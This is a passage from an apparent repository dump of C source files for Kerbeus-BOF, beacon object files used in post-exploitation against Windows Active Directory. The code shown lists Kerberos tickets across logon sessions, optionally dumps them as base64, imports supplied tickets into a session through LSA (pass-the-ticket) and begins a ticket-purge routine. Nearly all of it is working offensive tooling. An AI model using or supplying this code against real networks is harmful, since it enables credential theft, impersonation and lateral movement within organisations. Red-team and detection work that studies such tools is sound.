protocolStatus;\n    bool status = SECUR32$LsaCallAuthenticationPackage(hLsa, authPackage, retrieveRequest, responseSize, &retrieveResponse, &responseSize, &protocolStatus);\n    if (!status && !protocolStatus) {\n        if (responseSize > 0) {\n            ULONG size = retrieveResponse->Ticket.EncodedTicketSize;\n            *ticket = (PUCHAR)MemAlloc(size);\n            MemCpy(*ticket, retrieveResponse->Ticket.EncodedTicket, size);\n            *ticketSize = size;\n            return true;\n        }\n    }\n    return false;\n}\n#endif\n\nvoid PrintTicketInfo(KERB_TICKET_CACHE_INFO_EX cacheInfo, LUID luid) {\n    SYSTEMTIME EndTime = ConvertToSystemtime(cacheInfo.EndTime);\n\n    int length = cacheInfo.ClientName.Length / 2 + cacheInfo.ClientRealm.Length / 2 + 4;\n    char* client = MemAlloc(length);\n    KERNEL32$WideCharToMultiByte(CP_ACP, 0, cacheInfo.ClientName.Buffer, cacheInfo.ClientName.Length / 2, client, length, NULL, 0);\n    MemCpy(client + cacheInfo.ClientName.Length / 2, \" @ \", 3);\n    KERNEL32$WideCharToMultiByte(CP_ACP, 0, cacheInfo.ClientRealm.Buffer, cacheInfo.ClientRealm.Length / 2, client + cacheInfo.ClientName.Length / 2 + 3, cacheInfo.ClientRealm.Length / 2 + 1, NULL, 0);\n    char* servername = MemAlloc(cacheInfo.ServerName.Length / 2 + 1);\n    KERNEL32$WideCharToMultiByte(CP_ACP, 0, cacheInfo.ServerName.Buffer, cacheInfo.ServerName.Length / 2, servername, cacheInfo.ServerName.Length / 2 + 1, NULL, 0);\n\n#ifdef TRIAGE\n    PRINT_OUT(\"| %lx:0x%-7lx | %-40s | %-40s | %02d.%02d.%04d %02d:%02d:%02d |\\n\", luid.HighPart, luid.LowPart, client, servername, EndTime.wDay, EndTime.wMonth, EndTime.wYear, EndTime.wHour, EndTime.wMinute, EndTime.wSecond);\n#else\n        char* serverrealm = MemAlloc(cacheInfo.ServerRealm.Length / 2 + 1);\n        KERNEL32$WideCharToMultiByte(CP_ACP, 0, cacheInfo.ServerRealm.Buffer, cacheInfo.ServerRealm.Length / 2, serverrealm, cacheInfo.ServerRealm.Length / 2 + 1, NULL, 0);\n\n        SYSTEMTIME StartTime = ConvertToSystemtime(cacheInfo.StartTime);\n        SYSTEMTIME RenewTime = ConvertToSystemtime(cacheInfo.RenewTime);\n        uint flags = cacheInfo.TicketFlags;\n\n        PRINT_OUT(\"\\tClientName               :  %s\\n\", client);\n        PRINT_OUT(\"\\tServiceRealm             :  %s @ %s\\n\", servername, serverrealm);\n\n        PRINT_OUT(\"\\tStartTime (UTC)          :  %02d.%02d.%04d %02d:%02d:%02d\\n\", StartTime.wDay, StartTime.wMonth, StartTime.wYear, StartTime.wHour, StartTime.wMinute, StartTime.wSecond);\n        PRINT_OUT(\"\\tEndTime (UTC)            :  %02d.%02d.%04d %02d:%02d:%02d\\n\", EndTime.wDay, EndTime.wMonth, EndTime.wYear, EndTime.wHour, EndTime.wMinute, EndTime.wSecond);\n        PRINT_OUT(\"\\tRenewTill (UTC)          :  %02d.%02d.%04d %02d:%02d:%02d\\n\", RenewTime.wDay, RenewTime.wMonth, RenewTime.wYear, RenewTime.wHour, RenewTime.wMinute, RenewTime.wSecond);\n\n        PRINT_OUT(\"\\tFlags                    :  \");\n        if (flags & reserved)\t\tPRINT_OUT(\"reserved \");\n        if (flags & forwardable)\tPRINT_OUT(\"forwardable \");\n        if (flags & forwarded)\t\tPRINT_OUT(\"forwarded \");\n        if (flags & proxiable)\t\tPRINT_OUT(\"proxiable \");\n        if (flags & proxy)\t\t\tPRINT_OUT(\"proxy \");\n        if (flags & may_postdate)\tPRINT_OUT(\"may_postdate \");\n        if (flags & postdated)\t\tPRINT_OUT(\"postdated \");\n        if (flags & invalid)\t\tPRINT_OUT(\"invalid \");\n        if (flags & renewable)\t\tPRINT_OUT(\"renewable \");\n        if (flags & initial)\t\tPRINT_OUT(\"initial \");\n        if (flags & pre_authent)\tPRINT_OUT(\"pre_authent \");\n        if (flags & hw_authent)\t\tPRINT_OUT(\"hw_authent \");\n        if (flags & ok_as_delegate) PRINT_OUT(\"ok_as_delegate \");\n        if (flags & anonymous)\t\tPRINT_OUT(\"anonymous \");\n        if (flags & enc_pa_rep)\t\tPRINT_OUT(\"enc_pa_rep \");\n        if (flags & reserved1)\t\tPRINT_OUT(\"reserved1 \");\n        PRINT_OUT(\"\\n\");\n\n        if (cacheInfo.EncryptionType == rc4_hmac)\n            PRINT_OUT(\"\\tKeyType                  :  rc4_hmac\\n\");\n        else if (cacheInfo.EncryptionType == aes128_cts_hmac_sha1)\n            PRINT_OUT(\"\\tKeyType                  :  aes128_cts_hmac_sha1\\n\");\n        else if (cacheInfo.EncryptionType == aes256_cts_hmac_sha1)\n            PRINT_OUT(\"\\tKeyType                  :  aes256_cts_hmac_sha1\\n\");\n        PRINT_OUT(\"\\n\");\n#endif\n}\n\n#ifndef TRIAGE\nvoid PrintLogonSessionData(SECURITY_LOGON_SESSION_DATA data) {\n    char* sid = NULL;\n    char* username = MemAlloc(data.UserName.Length / 2 + 1);\n    KERNEL32$WideCharToMultiByte(CP_ACP, 0, data.UserName.Buffer, data.UserName.Length / 2, username, data.UserName.Length / 2 + 1, NULL, 0);\n    char* domain = MemAlloc(data.LogonDomain.Length / 2 + 1);\n    KERNEL32$WideCharToMultiByte(CP_ACP, 0, data.LogonDomain.Buffer, data.LogonDomain.Length / 2, domain, data.LogonDomain.Length / 2 + 1, NULL, 0);\n    char* authpack = MemAlloc(data.AuthenticationPackage.Length / 2 + 1);\n    KERNEL32$WideCharToMultiByte(CP_ACP, 0, data.AuthenticationPackage.Buffer, data.AuthenticationPackage.Length / 2, authpack, data.AuthenticationPackage.Length / 2 + 1, NULL, 0);\n    char* server = MemAlloc(data.LogonServer.Length / 2 + 1);\n    KERNEL32$WideCharToMultiByte(CP_ACP, 0, data.LogonServer.Buffer, data.LogonServer.Length / 2, server, data.LogonServer.Length / 2 + 1, NULL, 0);\n    char* upn = MemAlloc(data.Upn.Length / 2 + 1);\n    KERNEL32$WideCharToMultiByte(CP_ACP, 0, data.Upn.Buffer, data.Upn.Length, upn, data.Upn.Length, NULL, 0);\n\n    PRINT_OUT(\"UserName                : %s\\n\", username);\n    PRINT_OUT(\"Domain                  : %s\\n\", domain);\n    PRINT_OUT(\"LogonId                 : %lx:0x%lx\\n\", data.LogonId.HighPart, data.LogonId.LowPart);\n    PRINT_OUT(\"Session                 : %ld\\n\", data.Session);\n    if (ADVAPI32$ConvertSidToStringSidA(data.Sid, &sid))\n        PRINT_OUT(\"UserSID                 : %s\\n\", sid);\n    else\n        PRINT_OUT(\"UserSID                 : -\\n\");\n    PRINT_OUT(\"Authentication package  : %s\\n\", authpack);\n    PRINT_OUT(\"LogonServer             : %s\\n\", server);\n    PRINT_OUT(\"UserPrincipalName       : %s\\n\", upn);\n    PRINT_OUT(\"\\n\");\n}\n#endif\n\nint my_isdigit(int c) {\n    return (c >= '0' && c <= '9');\n}\n\nint my_islower(int c) {\n    return (c >= 'a' && c <= 'z');\n}\n\nlong int my_strtol(const char* str, char** endptr, int base) {\n    long int result = 0;\n    int sign = 1;\n\n    if (*str == '-' || *str == '+') {\n        sign = (*str == '-') ? -1 : 1;\n        str++;\n    }\n\n    while (my_isdigit(*str) ||\n           (base == 16 && (*str >= 'a' && *str <= 'f')) ||\n           (base == 16 && (*str >= 'A' && *str <= 'F'))) {\n        int digit = 0;\n        if (my_isdigit(*str)) {\n            digit = *str - '0';\n        }\n        else if (base == 16) {\n            digit = (my_islower(*str) ? (*str - 'a' + 10) : (*str - 'A' + 10));\n        }\n\n        if (digit >= base)\n            break;\n\n        if (result > (LONG_MAX - digit) / base) {\n            if (sign == 1)\n                return LONG_MAX;\n            else\n                return LONG_MIN;\n        }\n\n        result = result * base + digit;\n        str++;\n    }\n\n    if (endptr != NULL)\n        *endptr = (char*)str;\n\n    return result * sign;\n}\n\nvoid KLIST( char* luid, char* targetService, char* targetUser, char* targetClient ) {\n    LUID   targetLuid = { 0 };\n    HANDLE hToken = GetCurrentToken(TOKEN_QUERY);\n    BOOL IsHighIntegrity = IsSystem(hToken);\n\n    if (!IsHighIntegrity && (luid || targetUser)) {\n        PRINT_OUT(\"[X] You need to be in SYSTEM integrity.\\n\");\n        return;\n    }\n\n    if (luid) {\n        targetLuid.LowPart = my_strtol(luid, NULL, 16);\n        if (targetLuid.LowPart == 0 || targetLuid.LowPart == LONG_MAX || targetLuid.LowPart == LONG_MIN) {\n            PRINT_OUT(\"[x] Invalid luid\\n\");\n            return;\n        }\n        PRINT_OUT(\"\\nAction: List Kerberos Tickets( LUID: %s)\\n\\n\", luid);\n    }\n    else if (IsHighIntegrity) {\n        if( targetUser )\n            PRINT_OUT(\"\\nAction: List Kerberos Tickets for '%s'\\n\\n\", targetUser);\n        else\n            PRINT_OUT(\"\\nAction: List Kerberos Tickets (All Users)\\n\\n\");\n    }\n    else {\n        targetLuid = GetCurrentLUID(hToken);\n        PRINT_OUT(\"\\nAction: List Kerberos Tickets (Current User)\\n\\n\");\n    }\n\n    if (targetService)\n        PRINT_OUT(\"[*] Target service  : %s\\n\", targetService);\n    if (targetClient)\n        PRINT_OUT(\"[*] Target client   : %s\\n\", targetClient);\n    if (targetUser)\n        PRINT_OUT(\"[*] Target user     : %s\\n\", targetUser);\n    if (luid)\n        PRINT_OUT(\"[*] Target LUID     : %s\\n\", luid);\n    PRINT_OUT(\"\\n\");\n\n#ifdef TRIAGE\n        PRINT_OUT(\"--------------------------------------------------------------------------------------------------------------------------\\n\");\n        PRINT_OUT(\"| %-11s | %-40s | %-40s | %19s |\\n\", \"LUID\", \"Client\", \"Service\", \"End Time\");\n        PRINT_OUT(\"--------------------------------------------------------------------------------------------------------------------------\\n\");\n#endif\n\n    HANDLE hLsa;\n    if (GetLsaHandle(hToken, IsHighIntegrity, &hLsa)) return;\n\n    ULONG authPackage;\n    LSA_STRING krbAuth = { .Buffer = \"kerberos\",.Length = 8,.MaximumLength = 9 };\n    if (SECUR32$LsaLookupAuthenticationPackage(hLsa, &krbAuth, &authPackage) == 0) {\n\n        LOGON_SESSION_DATA sessionData;\n        if (GetLogonSessionData(targetLuid, &sessionData) == 0) {\n            KERB_QUERY_TKT_CACHE_REQUEST cacheRequest;\n            cacheRequest.MessageType = KerbQueryTicketCacheExMessage;\n\n            for (int i = 0; i < sessionData.sessionCount; i++) {\n                if (sessionData.sessionData[i] == NULL)\n                    continue;\n\n                if (targetUser) {\n                    int usernameLength = (*sessionData.sessionData[i]).UserName.Length / 2;\n                    char* username = MemAlloc(usernameLength + 1);\n                    KERNEL32$WideCharToMultiByte(CP_ACP, 0, (*sessionData.sessionData[i]).UserName.Buffer, usernameLength, username, usernameLength + 1, NULL, 0);\n                    StrToLower(username);\n                    StrToLower(targetUser);\n                    if (my_strncmp(targetUser, username, my_strlen(targetUser) + 1) != 0) {\n                        continue;\n                    }\n                }\n\n                if (IsHighIntegrity)\n                    cacheRequest.LogonId = sessionData.sessionData[i]->LogonId;\n                else\n                    cacheRequest.LogonId = (LUID){ 0 };\n\n#ifndef TRIAGE\n                    PrintLogonSessionData((*sessionData.sessionData[i]));\n#endif\n                LUID user_luid = (*sessionData.sessionData[i]).LogonId;\n                SECUR32$LsaFreeReturnBuffer(sessionData.sessionData[i]);\n                KERB_QUERY_TKT_CACHE_EX_RESPONSE* cacheResponse = NULL;\n                KERB_TICKET_CACHE_INFO_EX cacheInfo;\n                ULONG responseSize;\n                NTSTATUS protocolStatus;\n                if (SECUR32$LsaCallAuthenticationPackage(hLsa, authPackage, &cacheRequest, sizeof(cacheRequest), &cacheResponse, &responseSize, &protocolStatus)) continue;\n                if (cacheResponse == NULL)\n                    continue;\n\n                int ticketCount = cacheResponse->CountOfTickets;\n#ifndef TRIAGE\n                    PRINT_OUT(\"[*] Cached tickets: (%d)\\n\\n\", ticketCount);\n#endif\n                if (ticketCount > 0) {\n                    int tkt_index = 0;\n                    for (int j = 0; j < ticketCount; j++) {\n                        bool includeTicket = true;\n                        cacheInfo = cacheResponse->Tickets[j];\n\n                        if (targetService) {\n                            int serviceLength = cacheInfo.ServerName.Length / 2;\n                            char* service = MemAlloc(serviceLength + 1);\n                            KERNEL32$WideCharToMultiByte(CP_ACP, 0, cacheInfo.ServerName.Buffer, serviceLength, service, serviceLength + 1, NULL, 0);\n                            StrToLower(service);\n                            StrToLower(targetService);\n                            if (my_strncmp(targetService, service, my_strlen(targetService)) != 0)\n                                includeTicket = false;\n                        }\n\n                        if (targetClient) {\n                            int clientLength = cacheInfo.ClientName.Length / 2;\n                            char* client = MemAlloc(clientLength + 1);\n                            KERNEL32$WideCharToMultiByte(CP_ACP, 0, cacheInfo.ClientName.Buffer, clientLength, client, clientLength + 1, NULL, 0);\n                            StrToLower(client);\n                            StrToLower(targetClient);\n                            if (my_strncmp(targetClient, client, my_strlen(targetClient) + 1) != 0)\n                                includeTicket = false;\n                        }\n\n                        if (includeTicket) {\n#ifndef TRIAGE\n                                PRINT_OUT(\"  [%d]\\n\", tkt_index++);\n#endif\n                            PrintTicketInfo(cacheInfo, user_luid);\n\n#ifdef DUMP\n                                byte* ticket = NULL;\n                                int ticketSize = 0;\n                                if (ExtractTicket(hLsa, authPackage, cacheRequest.LogonId, cacheInfo.ServerName, &ticket, &ticketSize)) {\n                                    char* base_ticket = base64_encode(ticket, ticketSize);\n                                    PRINT_OUT(\"\\t%s\\n\\n\", base_ticket);\n                                }\n#endif\n                        }\n                    }\n                }\n                SECUR32$LsaFreeReturnBuffer(cacheResponse);\n            }\n        }\n    }\n#ifdef TRIAGE\n        PRINT_OUT(\"--------------------------------------------------------------------------------------------------------------------------\\n\");\n#endif\n    SECUR32$LsaDeregisterLogonProcess(hLsa);\n}\n\nvoid KLIST_RUN( PCHAR Buffer, IN DWORD Length ) {\n    char* luid = NULL;\n    char* targetUser = NULL;\n    char* targetService = NULL;\n    char* targetClient = NULL;\n\n    for (int i = 0; i < Length; i++) {\n        i += GetStrParam(Buffer + i, Length - i, \"/luid:\", 6, &luid );\n        i += GetStrParam(Buffer + i, Length - i, \"/user:\", 6, &targetUser );\n        i += GetStrParam(Buffer + i, Length - i, \"/service:\", 9, &targetService );\n        i += GetStrParam(Buffer + i, Length - i, \"/client:\", 8, &targetClient );\n    }\n#ifdef TRIAGE\n    KLIST(luid, targetService, targetUser, targetClient);\n#else\n    KLIST(luid, targetService, targetUser, targetClient);\n#endif\n}\n\nVOID go( IN PCHAR Buffer, IN ULONG Length ) {\n    INIT_BOF();\n\n    datap parser;\n    BeaconDataParse(&parser, Buffer, Length);\n    DWORD PARAM_SIZE = 0;\n    PBYTE PARAM = BeaconDataExtract(&parser, &PARAM_SIZE);\n\n    if( LoadFunc() )\n        PRINT_OUT(\"%s\\n\", \"Modules not loaded\");\n    else\n        KLIST_RUN( PARAM, PARAM_SIZE );\n\n    FreeBank();\n\n    END_BOF();\n}"
  },
  {
    "path": "AD-BOF/Kerbeus-BOF/ptt/ptt.c",
    "content": "#include \"_include/functions.c\"\n\nint base64_decode_char(char c) {\n    if (c >= 'A' && c <= 'Z')\n        return c - 'A';\n    if (c >= 'a' && c <= 'z')\n        return c - 'a' + 26;\n    if (c >= '0' && c <= '9')\n        return c - '0' + 52;\n    if (c == '+')\n        return 62;\n    if (c == '/')\n        return 63;\n    return -1; // Invalid character\n}\n\nbyte* base64_decode(byte* input, int* output_len) {\n    int input_len = my_strlen(input);\n    int padding = 0;\n    if (input_len == 0) {\n        *output_len = 0;\n        return NULL;\n    }\n\n    if (input[input_len - 1] == '=') {\n        padding++;\n        if (input[input_len - 2] == '=') {\n            padding++;\n        }\n    }\n\n    *output_len = (input_len * 3) / 4 - padding;\n    byte* output = MemAlloc(*output_len);\n    if (output == NULL)\n        return NULL;\n\n    size_t i = 0, j = 0;\n    while (i < input_len - padding) {\n        UINT sextet_a = input[i] == '=' ? 0 : (UINT)base64_decode_char(input[i++]);\n        UINT sextet_b = input[i] == '=' ? 0 : (UINT)base64_decode_char(input[i++]);\n        UINT sextet_c = input[i] == '=' ? 0 : (UINT)base64_decode_char(input[i++]);\n        UINT sextet_d = input[i] == '=' ? 0 : (UINT)base64_decode_char(input[i++]);\n\n        UINT triple = (sextet_a << 18) + (sextet_b << 12) + (sextet_c << 6) + sextet_d;\n\n        if (j < *output_len)\n            output[j++] = (triple >> 16) & 0xFF;\n        if (j < *output_len)\n            output[j++] = (triple >> 8) & 0xFF;\n        if (j < *output_len)\n            output[j++] = triple & 0xFF;\n    }\n    return output;\n}\n\nHANDLE GetCurrentToken(DWORD DesiredAccess) {\n    HANDLE hCurrentToken = NULL;\n    if (!ADVAPI32$OpenThreadToken(KERNEL32$GetCurrentThread(), DesiredAccess, FALSE, &hCurrentToken))\n        if (hCurrentToken == NULL && KERNEL32$GetLastError() == ERROR_NO_TOKEN)\n            if (!ADVAPI32$OpenProcessToken(KERNEL32$GetCurrentProcess(), DesiredAccess, &hCurrentToken))\n                return NULL;\n    return hCurrentToken;\n}\n\nLUID GetCurrentLUID(HANDLE TokenHandle) {\n    TOKEN_STATISTICS tokenStats;\n    DWORD tokenSize;\n    if (!ADVAPI32$GetTokenInformation(TokenHandle, TokenStatistics, &tokenStats, sizeof(tokenStats), &tokenSize))\n        return (LUID) { 0 };\n    return tokenStats.AuthenticationId;\n}\n\nBOOL IsSystem(HANDLE TokenHandle) {\n    UCHAR bTokenUser[sizeof(TOKEN_USER) + 8 + 4 * SID_MAX_SUB_AUTHORITIES];\n    PTOKEN_USER pTokenUser = (PTOKEN_USER)bTokenUser;\n    ULONG cbTokenUser;\n    SID_IDENTIFIER_AUTHORITY siaNT = SECURITY_NT_AUTHORITY;\n    PSID pSystemSid = NULL;\n    BOOL bSystem = FALSE;\n\n    // Try to open the token of the current thread first\n    if (!ADVAPI32$OpenThreadToken(KERNEL32$GetCurrentThread(), TOKEN_QUERY, TRUE, &TokenHandle)) {\n        // If there is no thread token, fall back to the process token\n        if (KERNEL32$GetLastError() == ERROR_NO_TOKEN) {\n            if (!ADVAPI32$OpenProcessToken(KERNEL32$GetCurrentProcess(), TOKEN_QUERY, &TokenHandle)) {\n                return FALSE;\n            }\n        } else {\n            return FALSE;\n        }\n    }\n\n    if (!ADVAPI32$GetTokenInformation(TokenHandle, TokenUser, pTokenUser, sizeof(bTokenUser), &cbTokenUser)) {\n        return FALSE;\n    }\n\n    if (!ADVAPI32$AllocateAndInitializeSid(&siaNT, 1, SECURITY_LOCAL_SYSTEM_RID, 0, 0, 0, 0, 0, 0, 0, &pSystemSid)) {\n        return FALSE;\n    }\n\n    bSystem = ADVAPI32$EqualSid(pTokenUser->User.Sid, pSystemSid);\n\n    ADVAPI32$FreeSid(pSystemSid);\n\n    return bSystem;\n}\n\nBOOL GetLsaHandle(HANDLE hToken, BOOL highIntegrity, HANDLE* hLsa) {\n    HANDLE hLsaLocal = NULL;\n    ULONG  mode = 0;\n    bool   status = true;\n    if (highIntegrity) {\n        STRING lsaString = (STRING){ .Length = 8, .MaximumLength = 9, .Buffer = \"Winlogon\" };\n        status = SECUR32$LsaRegisterLogonProcess(&lsaString, &hLsaLocal, &mode);\n    }\n    else {\n        status = SECUR32$LsaConnectUntrusted(&hLsaLocal);\n    }\n    *hLsa = hLsaLocal;\n    return status;\n}\n\nint my_isdigit(int c) {\n    return (c >= '0' && c <= '9');\n}\n\nint my_islower(int c) {\n    return (c >= 'a' && c <= 'z');\n}\n\nlong int my_strtol(const char* str, char** endptr, int base) {\n    long int result = 0;\n    int sign = 1;\n\n    if (*str == '-' || *str == '+') {\n        sign = (*str == '-') ? -1 : 1;\n        str++;\n    }\n\n    while (my_isdigit(*str) ||\n           (base == 16 && (*str >= 'a' && *str <= 'f')) ||\n           (base == 16 && (*str >= 'A' && *str <= 'F'))) {\n        int digit = 0;\n        if (my_isdigit(*str)) {\n            digit = *str - '0';\n        }\n        else if (base == 16) {\n            digit = (my_islower(*str) ? (*str - 'a' + 10) : (*str - 'A' + 10));\n        }\n\n        if (digit >= base)\n            break;\n\n        if (result > (LONG_MAX - digit) / base) {\n            if (sign == 1)\n                return LONG_MAX;\n            else\n                return LONG_MIN;\n        }\n\n        result = result * base + digit;\n        str++;\n    }\n\n    if (endptr != NULL)\n        *endptr = (char*)str;\n\n    return result * sign;\n}\n\nvoid PTT(char* luid, byte* ticket) {\n    HANDLE hToken = GetCurrentToken(TOKEN_QUERY);\n    LUID   currentLuid = GetCurrentLUID(hToken);\n    LUID   targetLuid = { 0 };\n    bool   IsHighIntegrity = IsSystem(hToken);\n\n    if (luid) {\n        targetLuid.LowPart = my_strtol(luid, NULL, 16);\n        if (targetLuid.LowPart == 0 || targetLuid.LowPart == LONG_MAX || targetLuid.LowPart == LONG_MIN) {\n            PRINT_OUT(\"[x] Invalid luid\\n\");\n            return;\n        }\n    }\n    else {\n        targetLuid = currentLuid;\n    }\n\n    if (!IsHighIntegrity && currentLuid.LowPart != targetLuid.LowPart) {\n        PRINT_OUT(\"[X] You need to be in SYSTEM integrity.\\n\");\n        return;\n    }\n\n    if (currentLuid.LowPart != targetLuid.LowPart)\n        IsHighIntegrity = false;\n\n    HANDLE hLsa;\n    if (GetLsaHandle(hToken, IsHighIntegrity, &hLsa)) return;\n\n    ULONG authPackage;\n    LSA_STRING krbAuth = { .Buffer = \"kerberos\",.Length = 8,.MaximumLength = 9 };\n    if (SECUR32$LsaLookupAuthenticationPackage(hLsa, &krbAuth, &authPackage) == 0) {\n\n        int decode_ticket_size = 0;\n        byte* decode_ticket = base64_decode(ticket, &decode_ticket_size);\n\n        int submitSize = sizeof(KERB_SUBMIT_TKT_REQUEST) + decode_ticket_size;\n        KERB_SUBMIT_TKT_REQUEST* submitRequest = MemAlloc(submitSize);\n\n        submitRequest->MessageType = KerbSubmitTicketMessage;\n        submitRequest->KerbCredSize = decode_ticket_size;\n        submitRequest->KerbCredOffset = sizeof(KERB_SUBMIT_TKT_REQUEST);\n        if (IsHighIntegrity)\n            submitRequest->LogonId = targetLuid;\n        else\n            submitRequest->LogonId = (LUID){ 0 };\n\n        MemCpy((PBYTE)submitRequest + submitRequest->KerbCredOffset, decode_ticket, decode_ticket_size);\n\n        NTSTATUS protocolStatus = 0;\n        ULONG    responseSize = 0;\n        void* response = 0;\n        if (SECUR32$LsaCallAuthenticationPackage(hLsa, authPackage, submitRequest, submitSize, &response, &responseSize, &protocolStatus) || protocolStatus)\n            PRINT_OUT(\"\\n[X] Ticket not imported.\\n\");\n        else\n            PRINT_OUT(\"\\n[+] Ticket successfully imported.\\n\");\n    }\n    SECUR32$LsaDeregisterLogonProcess(hLsa);\n}\n\nvoid PTT_RUN( PCHAR Buffer, IN DWORD Length ) {\n    PRINT_OUT(\"\\n[*] Action: Import Ticket\\n\\n\");\n\n    char* ticket = NULL;\n    char* luid = NULL;\n\n    for (int i = 0; i < Length; i++) {\n        i += GetStrParam(Buffer + i, Length - i, \"/luid:\", 6, &luid );\n        i += GetStrParam(Buffer + i, Length - i, \"/ticket:\", 8, &ticket );\n    }\n\n    if (ticket)\n        PTT(luid, ticket);\n    else\n        PRINT_OUT(\"[X] /ticket:BASE64 must be supplied!\\n\");\n}\n\nVOID go( IN PCHAR Buffer, IN ULONG Length ) {\n    INIT_BOF();\n\n    datap parser;\n    BeaconDataParse(&parser, Buffer, Length);\n    DWORD PARAM_SIZE = 0;\n    PBYTE PARAM = BeaconDataExtract(&parser, &PARAM_SIZE);\n\n    if( LoadFunc() )\n        PRINT_OUT(\"%s\\n\", \"Modules not loaded\");\n    else\n        PTT_RUN( PARAM, PARAM_SIZE );\n\n    FreeBank();\n\n    END_BOF();\n}"
  },
  {
    "path": "AD-BOF/Kerbeus-BOF/purge/purge.c",
    "content": "#include \"_include/functions.c\"\n\nHANDLE GetCurrentToken(DWORD DesiredAccess) {\n    HANDLE hCurrentToken = NULL;\n    if (!ADVAPI32$OpenThreadToken(KERNEL32$GetCurrentThread(), DesiredAccess, FALSE, &hCurrentToken))\n        if (hCurrentToken == NULL && KERNEL32$GetLastError() == ERROR_NO_TOKEN)\n            if (!ADVAPI32$OpenProcessToken(KERNEL32$GetCurrentProcess(), DesiredAccess, &hCurrentToken))\n                return NULL;\n    return hCurrentToken;\n}\n\nLUID GetCurrentLUID(HANDLE TokenHandle) {\n    TOKEN_STATISTICS tokenStats;\n    DWORD tokenSize;\n    if (!ADVAPI32$GetTokenInformation(TokenHandle, TokenStatistics, &tokenStats, sizeof(tokenStats), &tokenSize))\n        return (LUID) { 0 };\n    return tokenStats.AuthenticationId;\n}\n\nBOOL IsSystem(HANDLE TokenHandle) {\n    UCHAR bTokenUser[sizeof(TOKEN_USER) + 8 + 4 * SID_MAX_SUB_AUTHORITIES];\n    PTOKEN_USER pTokenUser = (PTOKEN_USER)bTokenUser;\n    ULONG cbTokenUser;\n    SID_IDENTIFIER_AUTHORITY siaNT = SECURITY_NT_AUTHORITY;\n    PSID pSystemSid = NULL;\n    BOOL bSystem = FALSE;\n\n    // Try to open the token of the current thread first\n    if (!ADVAPI32$OpenThreadToken(KERNEL32$GetCurrentThread(), TOKEN_QUERY, TRUE, &TokenHandle)) {\n        // If there is no thread token, fall back to the process token\n        if (KERNEL32$GetLastError() == ERROR_NO_TOKEN) {\n            if (!ADVAPI32$OpenProcessToken(KERNEL32$GetCurrentProcess(), TOKEN_QUERY, &TokenHandle)) {\n                return FALSE;\n            }\n        } else {\n            return FALSE;\n        }\n    }\n\n    if (!ADVAPI32$GetTokenInformation(TokenHandle, TokenUser, pTokenUser, sizeof(bTokenUser), &cbTokenUser)) {\n        return FALSE;\n    }\n\n    if (!ADVAPI32$AllocateAndInitializeSid(&siaNT, 1, SECURITY_LOCAL_SYSTEM_RID, 0, 0, 0, 0, 0, 0, 0, &pSystemSid)) {\n        return FALSE;\n    }\n\n    bSystem = ADVAPI32$EqualSid(pTokenUser->User.Sid, pSystemSid);\n\n    ADVAPI32$FreeSid(pSystemSid);\n\n    return bSystem;\n}\n\nBOOL GetLsaHandle(HANDLE hToken, BOOL highIntegrity, HANDLE* hLsa) {\n    HANDLE hLsaLocal = NULL;\n    ULONG  mode = 0;\n    bool   status = true;\n    if (highIntegrity) {\n        STRING lsaString = (STRING){ .Length = 8, .MaximumLength = 9, .Buffer = \"Winlogon\" };\n        status = SECUR32$LsaRegisterLogonProcess(&lsaString, &hLsaLocal, &mode);\n    }\n    else {\n        status = SECUR32$LsaConnectUntrusted(&hLsaLocal);\n    }\n    *hLsa = hLsaLocal;\n    return status;\n}\n\nint my_isdigit(int c) {\n    return (c >= '0' && c <= '9');\n}\n\nint my_islower(int c) {\n    return (c >= 'a' && c <= 'z');\n}\n\nlong int my_strtol(const char* str, char** endptr, int base) {\n    long int result = 0;\n    int sign = 1;\n\n    if (*str == '-' || *str == '+') {\n        sign = (*str == '-') ? -1 : 1;\n        str++;\n    }\n\n    while (my_isdigit(*str) ||\n           (base == 16 && (*str >= 'a' && *str <= 'f')) ||\n           (base == 16 && (*str >= 'A' && *str <= 'F'))) {\n        int digit = 0;\n        if (my_isdigit(*str)) {\n            digit = *str - '0';\n        }\n        else if (base == 16) {\n            digit = (my_islower(*str) ? (*str - 'a' + 10) : (*str - 'A' + 10));\n        }\n\n        if (digit >= base)\n            break;\n\n        if (result > (LONG_MAX - digit) / base) {\n            if (sign == 1)\n                return LONG_MAX;\n            else\n                return LONG_MIN;\n        }\n\n        result = result * base + digit;\n        str++;\n    }\n\n    if (endptr != NULL)\n        *endptr = (char*)str;\n\n    return result * sign;\n}\n\nvoid PURGE(char* luid) {\n    HANDLE hToken = GetCurrentToken(TOKEN_QUERY);\n    LUID   currentLuid = GetCurrentLUID(hToken);\n    LUID   targetLuid = { 0 };\n\n    bool   IsHighIntegrity = IsSystem(hToken);\n\n    if (luid) {\n        targetLuid.LowPart = my_strtol(luid, NULL, 16);\n        if (targetLuid.LowPart == 0 || targetLuid.LowPart == LONG_MAX || targetLuid.LowPart == LONG_MIN) {\n            PRINT_OUT(\"[x] Invalid luid\\n\");\n            return;\n        }\n    }\n    else {\n        targetLuid = currentLuid;\n    }\n\n    if (!IsHighIntegrity && currentLuid.LowPart != targetLuid.LowPart) {\n        PRINT_OUT(\"[X] You need to be in SYSTEM integrity.\\n\");\n        return;\n    }\n\n    HANDLE hLsa;\n    if (GetLsaHandle(hToken, IsHighIntegrity, &hLsa)) return;\n\n    ULONG authPackage;\n    LSA_STRING krbAuth = { .Buffer = \"kerberos\",.Length = 8,.MaximumLength = 9 };\n    if (SECUR32$LsaLookupAuthenticationPackage(hLsa, &krbAuth, &authPackage) == 0) {\n\n        KERB_PURGE_TKT_CACHE_REQUEST purgeRequest;\n        purgeRequest.MessageType = KerbPurgeTicketCacheMessage;\n        purgeRequest.RealmName = (UNICODE_STRING){ .Buffer = L\"\", .Length = 0, .MaximumLength = 1 };\n        purgeRequest.ServerName = (UNICODE_STRING){ .Buffer = L\"\", .Length = 0, .MaximumLength = 1 };\n\n        if (IsHighIntegrity)\n            purgeRequest.LogonId = targetLuid;\n        else\n            purgeRequest.LogonId = (LUID){ 0 };\n\n        void* purgeResponse = NULL;\n        ULONG responseSize = 0;\n        NTSTATUS protocolStatus = 0;\n        if (SECUR32$LsaCallAuthenticationPackage(hLsa, authPackage, &purgeRequest, sizeof(KERB_PURGE_TKT_CACHE_REQUEST), &purgeResponse, &responseSize, &protocolStatus) || protocolStatus)\n            PRINT_OUT(\"[X] Tickets not purged.\\n\");\n        else\n            PRINT_OUT(\"[+] Successfully purged tickets.\\n\");\n    }\n    SECUR32$LsaDeregisterLogonProcess(hLsa);\n}\n\nvoid PURGE_RUN( PCHAR Buffer, IN DWORD Length ) {\n    